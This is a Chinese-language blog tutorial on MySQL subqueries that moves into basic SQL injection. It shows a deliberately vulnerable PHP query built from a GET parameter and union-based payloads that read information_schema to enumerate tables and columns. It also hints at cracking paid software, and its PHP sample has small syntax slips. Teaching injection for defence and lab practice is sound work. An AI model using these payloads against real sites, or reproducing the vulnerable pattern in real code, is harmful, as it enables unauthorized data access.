書接上回:MySQL數據庫開發教學(二) 核心概念、重要指令 -CSDN博客
建議工具:
Navicat Premium (收費 / 需破解):Navicat Premium | 管理和开发你的数据库
phpstudy 2018 (免費):phpStudy - Windows 一键部署 PHP 开发环境 · 小皮出品
前言
大家好,我是小楓。上期跟大家說完MySQL數據庫的重要概念與核心代碼,那麼這期小編就會帶大家了解一下MySQL的一些進階指令執行。
希望大家把前幾篇的東西都先學會哈,等我們後面講SQL注入時才不會那麼迷茫哈。那麼廢話不多說,我們開始吧。

目录
[二、select 子查詢](#二、select 子查詢)
[2.1 用於SQL注入](#2.1 用於SQL注入)
[三、WHERE 子查詢](#三、WHERE 子查詢)
[四、from 子查詢](#四、from 子查詢)
一、子查詢
b_id | b_name |
---|---|
1 | 人事部 |
2 | 財務部 |
3 | 牛馬 |
[bumen] |
u_id | name | age | sex | address | b_id(外鍵) |
---|---|---|---|---|---|
1 | xiaolin | 22 | 0 | 河北 | 3 |
2 | xiaofong | 18 | 1 | 廣洲 | 2 |
3 | niko | 37 | 1 | 四川 | 1 |
[emp] |
子查詢是指一個查詢(select)命令裡有另外一個select指令,通常用於查找當前表中沒有的數據(另外一張表的訊息),常用於SQL注入。
以上面2張表為例。若只看員工表的話,我們是++無法得知該員工屬於哪個部門++ 的,用普通的查詢語句也無法 把員工訊息與部門訊息(b_name)合成一張表。這樣查看起來就會有點麻煩,而子查詢則允許我們同時查看2張表(橫向拼接)。
二、select 子查詢
sql
select b_name from bumen where b_id=1
select (select b_name from bumen where b_id=1) 所屬部門(命名) from emp where emp.name="niko"
-- 已知niko的b_id是1,就可以使用子查詢直接查b_id=1的是甚麼部門
| 所屬部門(即select b_name from bumen where b_id=1) |
人事部 |
---|
2.1 用於SQL注入
sql
# 在知道當前表的列數是多少(3列)後,就可以利用子查詢查看數據庫中的其他數據
select 1,(select database()),3 //利用子查詢查看當前在哪個數據庫
|---|-------------------------|---|
| 1 | select database() | 3 |
| | e.g. information_schema | |
不止是當前數據庫,你可以用SQL注入找出數據庫中有哪些表、表中有哪些列、列中的數據是甚麼都可以慢慢爆出來。
當然,你們有權限進入自己數據庫的操作面版,這些技術倒是沒甚麼用。當你要查看別人數據庫而又沒有權限時,這個技術才會用得上。下期會跟大家詳解哈,大家不要着急哈。
三、WHERE子查詢
用法跟上面差不多,只不過子查詢的位置從select後面變成了where後面。
sql
select b_name from bumen where bumen.b_id=(select emp.b_id from emp where name="niko")
//在部門表中無法直接獲得員工表(emp)的訊息
=> 利用子查詢找到niko對應的b_id,再查對應的部門
*當查詢的表多於1個時,就要用[對象.屬性/方法]這種語法(bumen.b_id)
四、from 子查詢
也是差不多用法,這次是寫在from後面。這種子查詢可以同時查多於2張表的訊息。
sql
select * from emp,bumen
=> 橫向拼接2張表成1張
| b_id | b_name | u_id | name | age | sex | address | b_id(外鍵) |
| 1 | 人事部 | 1 | xiaolin | 22 | 0 | 河北 | 3 |
| 2 | 財務部 | 2 | xiaofong | 18 | 1 | 廣洲 | 2 |
3 | 牛馬 | 3 | niko | 37 | 1 | 四川 | 1 |
---|
同理可證,也是兩張表拼成一張表
sql
select b_name from (select name,b_id from emp where name="niko") t1,bumen bu where t1.b_id=bu.b_id
# 把select name,b_id from emp where name="niko"的結果當成一張表,然後與bumen表橫向合拼
代碼解析:
在emp表選下name和b_id列,以name為niko的那一組記錄作為表A (name和b_id為列)
而bumen (b_name & b_id為列) 則作為表B
查看表A與表B b_id相同那一行的b_name
| name | b_id(外鍵) |
niko | 1 |
---|---|
[t1(表A)] |
| b_id | b_name |
| 1 | 人事部 |
| 2 | 財務部 |
3 | 牛馬 |
---|---|
[bumen(表B)] |
|--------|
| b_name |
| 人事部 |
[結果]
五、SQL注入概念
SQL注入顧名思義,就是通過往腳本裡寫一些SQL語句以查詢數據。在寫PHP代碼時可能會有一些漏洞的出現,讓SQL語句能夠通過表單提交的方式被寫進腳本。
php
$id=$_GET('id');
$result="select * from student where id='$id' limit 0,1";
print_r($result);
|----|----------|-----|
| id | name | age |
| 1 | xiaolin | 15 |
| 2 | xiaofong | 12 |
| 3 | niko | 18 |
[student]
像這樣的代碼就存在漏洞。因為表單提交方式為get,所以我們就可以在url上動手腳以實現SQL注入。
php
?id=1 //為$id賦值為1,輸出id=1的數據
=> 這是最基本的,可以看到表中所有數據。並查看此表有多少列
|----|---------|-----|
| id | name | age |
| 1 | xiaolin | 15 |
php
?id=-2' union select... -- //利用union查詢,並把原來的語句給注釋了(不再生效)
# --是注釋符號
$id=-2' union select 1,(select database()),3-- //已知有3列,就可以查看到當前數據庫
代碼變成:
$report="select * from student where id='-2' //id不可能=-2,所以第一句指令不會執行
union
select 1,(select database()),3--' limit 0,1"; // ' limit 0,1被注釋了
|---|--------------------|---|
| 1 | select database() | 3 |
| 1 | information_schema | 3 |
以我們對數據庫的了解,是知道information_schema中有幾個重要的數據表的(不知道的看回第一篇喔),我們就可以通過子查詢了解整個數據庫的結構甚至數據。
php
?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--
$result="select * from student where id='-2'
union
select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database()--' limit 0,1";
//查看當前數據庫的users表中有哪些列,users表中可以包含重要數據(密碼已加密)
其他的也是同理可證,大家自行摸索吧。最後還是要提醒大家,技術不要亂用,一不小心犯法了就不好了哈,要練習記得去靶場喔。
六、小結
好了,這期跟大家講完了子查詢及些許SQL注入,那麼下期小編會跟大家講PHP與MySQL是怎麼扣連的,到那我們的WEB前後端也算是學完了(若想更深入學習可以找其他博主)。
再下去我們就會開始探討漏洞挖掘技術了哈,大家敬請期待了。